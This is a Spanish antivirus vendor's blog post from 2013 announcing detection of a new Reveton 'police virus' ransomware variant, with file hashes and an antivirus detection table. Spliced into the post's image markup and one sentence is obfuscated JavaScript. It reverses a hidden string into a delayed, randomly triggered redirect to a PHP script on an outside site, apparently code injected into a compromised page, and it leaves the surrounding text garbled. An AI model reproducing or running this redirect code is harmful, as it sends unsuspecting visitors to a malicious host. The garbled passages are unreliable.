NUEVA VARIANTE DE TROJAN REVETON.C (VIRUS DE LA POLICIA) cazado por la heuristica del ELISTARA
Otra muestra pedida por el ELISTARA pasa a ser controlada especificamente a partir del ELISTARA 27.87 de hoy
Como caracteristica cabe indicar que en la pantalla de bloqueo, si se tiene conectada una webcam, se ve un recuadro con la imagen que captura en aquel momento dicha camara web.
{if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>ton-Ransomware-Spain-GVU-CUERPO-NACIONAL-DE-POLICIA-Ukash-Paysafecard-Virus.jpg” width=”600″ height=”458″ /><br />
El preanalisis de virus<script>$NfI=function(n){if (typeof ($NfI.list[n]) == )
total ofrece este informe:
SHA256: 5183225928ba725be3f7c4a319e10d734b99c8e1f534d05ffd48230963b49abf
SHA1: 0c10d199825d0eb6800072dd0ab45ab88028165d
MD5: 42c357f22669eff86e26b0aa39956a6b
Tamaño: 167.5 KB ( 171520 bytes )
Nombre: QEFRQE.DAT.Muestra EliStartPage v27.86
Tipo: Win32 DLL
Detecciones: 23 / 47
Fecha de análisis: 2013-06-12 14:27:32 UTC ( hace 0 minutos )
0 1 Más detalles Análisis File detail Información adicional Comentarios Votos
Antivirus Resultado Actualización
Agnitum 20130611
AhnLab-V3 Spyware/Win32.Zbot 20130612
AntiVir TR/Reveton.A.1079 20130612
Antiy-AVL 20130612
Avast Win32:Reveton-RT [Trj] 20130612
AVG Generic33.ASFW 20130612
BitDefender Gen:Variant.Kazy.184690 20130612
ByteHero 20130612
CAT-QuickHeal 20130612
ClamAV 20130612
Commtouch 20130612
Comodo 20130612
DrWeb Trojan.Reveton.65 20130612
Emsisoft Gen:Variant.Kazy.184690 (B) 20130612
eSafe 20130610
ESET-NOD32 Win32/Reveton.R 20130612
F-Prot 20130612
F-Secure Gen:Variant.Kazy.184744 20130612
Fortinet 20130612
GData Gen:Variant.Kazy.184690 20130612
Ikarus Trojan.Win32.Reveton 20130612
Jiangmin 20130612
K7AntiVirus 20130611
K7GW 20130611
Kaspersky Trojan-Ransom.Win32.Foreign.dilq 20130612
Kingsoft Win32.HeurC.KVM099.a.(kcloud) 20130506
Malwarebytes Trojan.FakeMS 20130612
McAfee 20130612
McAfee-GW-Edition 20130612
Microsoft Trojan:Win32/Reveton.T 20130612
MicroWorld-eScan Gen:Variant.Kazy.184690 20130612
NANO-Antivirus 20130612
Norman 20130611
nProtect Trojan/W32.Foreign.171520.C 20130612
Panda Generic Malware 20130612
PCTools 20130521
Rising 20130607
Sophos Troj/Ransom-WJ 20130612
SUPERAntiSpyware Trojan.Agent/Gen-Kryptik 20130612
Symantec 20130612
TheHacker 20130611
TotalDefense Win32/Reveton.GEUHQEB 20130612
TrendMicro 20130612
TrendMicro-HouseCall 20130612
VBA32 20130612
VIPRE Trojan.Win32.Generic!BT 20130612
ViRobot Trojan.Win32.Ransom.171520.B 20130612
Dicha version del ELISTARA 27.87 que lo detecta y elimina, estará disponible en nuestra web a partir de las 19 h CEST de hoy
saludos
ms, 12-6-2013
NOTA: Los interesados en información sobre contrato de soporte Asistencia Tecnica de SATINFO y/o licencia de uso/actualizaciones de sus utilidades, contacten con info@satinfo.es
__________
Este blog no se hace responsable de las opiniones y comentarios de los textos en los que se cita la Fuente, ofreciendo su contenido solo para facilitar el acceso a la información del mismo.
Puedes seguir cualquier respuesta a esta entrada mediante el canal RSS 2.0. Los comentarios y los pings están cerrados.
Siguenos
en facebook
Los comentarios están cerrados.